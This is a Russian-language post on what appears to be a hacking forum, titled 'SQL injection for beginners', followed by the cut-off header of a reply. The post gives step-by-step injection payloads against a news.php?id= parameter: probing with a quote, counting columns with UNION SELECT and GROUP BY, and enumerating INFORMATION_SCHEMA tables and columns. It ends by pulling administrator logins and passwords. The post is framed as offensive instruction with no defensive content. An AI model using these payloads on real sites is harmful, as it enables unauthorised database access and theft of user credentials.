Статьи Sql иньекция для новичков

Discussion in 'Статьи' started by A_n_d_r_e_i, 21 Aug 2024.

  1. A_n_d_r_e_i

    A_n_d_r_e_i Elder - Старейшина

    Joined:
    2 Sep 2009
    Messages:
    200
    Likes Received:
    262
    Reputations:
    32
    Чтоб найти sql иньекцию на сайте, необходимо понимать, что нужно обнаружить входящий параметр, который не фильтруется.

    Для этого необходимо передать с данными какой-то параметр. В нашем случае, это будет кавычка '.

    Ищем на сайте переменную, например news.php?id=1

    Допишем в запрос кавычку, чтоб вышло news.php?id=1'

    Если на сайте включены сообщения об ошибках, то мы увидим ошибку:
    mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1''

    Если ошибки не возникло, то попробуем отправить запрос news.php?id=1' -- с пробелом в конце.

    Так же, если нету сообщения, может быть, что там нет иньекции.

    -=-=-=-

    Изменяем наш запрос, добавляем оператор UNION SELECT, это поможет выбрать колличество столбцов в базе данных, для того, чтобы вытащить пароль администратора.

    news.php?id=1'+UNION+SELECT+1 -- выбираем 1 столбец

    Если в таблице не одна колонка, то вылезет ошибка:

    mysql_query(): The used SELECT statements have a different number of columns

    Пробуем перебирать колонки, добавляем в запрос цифры:

    news.php?id=1'+UNION+SELECT+1,2 --


    Запустилось без ошибки, как news.php?id=1
    Значит количество столбцов 2

    -=-=-=-

    Легче всего искать количество колонок оператором GROUP BY, там можно их перебирать сразу десятками

    Например: news.php?id=1'+GROUP+BY+10 --

    Если вылезает ошибка:
    mysql_query(): Unknown column '10' in 'group statement'
    значит столбцов меньше чем 10.

    Пробуем запрос news.php?id=1'+GROUP+BY+5 --
    Если нету ошибки, значит столбцов больше или равно 5.

    Пробуем запрос news.php?id=1'+GROUP+BY+6 --
    и ошибка пропала. Значит мы подобрали количество столбцов, их 6.

    -=-=-=-

    Чтоб вытащить информацию, нам необходимо использовать оператор UNION SELECT и отрицательный параметр. То есть добавим знак - в запрос, перед данными.
    Используем: news.php?id=-1'+UNION+SELECT+1,2,3,4,5,6 --

    Если цифры на странице отсутствуют, то есть нигде не появились цифры от 1 до 6, то, скорее всего, вывод информации отсутствует. Если же вы заметили где-то одну из этих цифр, значит мы можем вывести логин и пароль администратора.

    Для этого используем таблицу INFORMATION_SCHEMA.TABLES.

    Например вывелась цифра 3 и 5, тогда используем запрос вида:
    news.php?id=-1'+UNION+SELECT+1,2,TABLE_NAME,4,5,6+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1 --

    Если выводит только первую строку, используем запрос вида:
    news.php?id=-1'+UNION+SELECT+1,2,TABLE_NAME,4,5,6+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1 --

    Для второй строки:
    news.php?id=-1'+UNION+SELECT+1,2,TABLE_NAME,4,5,6+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1 --

    и так далее.

    Ищем таблицу users, members, administrators и тому подобное. Любое ценное слово, которое вызывает интерес. Будем смотреть там информацию.

    Что посмотреть содержимое колонки, нам нужна таблица INFORMATION_SCHEMA.COLUMNS. Что вывести содержимое столбца, используем оператор COLUMN_NAME в таблице TABLE_NAME

    Используем запрос вида:
    news.php?id=-1'+UNION+SELECT+1,2,COLUMN_NAME,4,5,6+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=’Administrators’ LIMIT+0,1 --

    и

    news.php?id=-1'+UNION+SELECT+1,2,COLUMN_NAME,4,5,6+FROM INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=’Administrators’+LIMIT+1,1 --

    и так далее.

    Далее, используем запрос:
    news.php?id=-1'+UNION+SELECT+1,2,login,password,5,6+FROM+Administrators+LIMIT+0,1 --

    который выведет нам логин и пароль первого пользователя из таблицы Administrators.

    Источник: http://hackmode.ru/showthread.php?t=37
     
    #1 A_n_d_r_e_i, 21 Aug 2024
    Last edited: 30 Aug 2024
  2. SekirBoshka

    SekirBoshka Member

    Joined:
    25 May 2012
    Messages:
    78
    Likes Received:
    28
    Reputations:
    0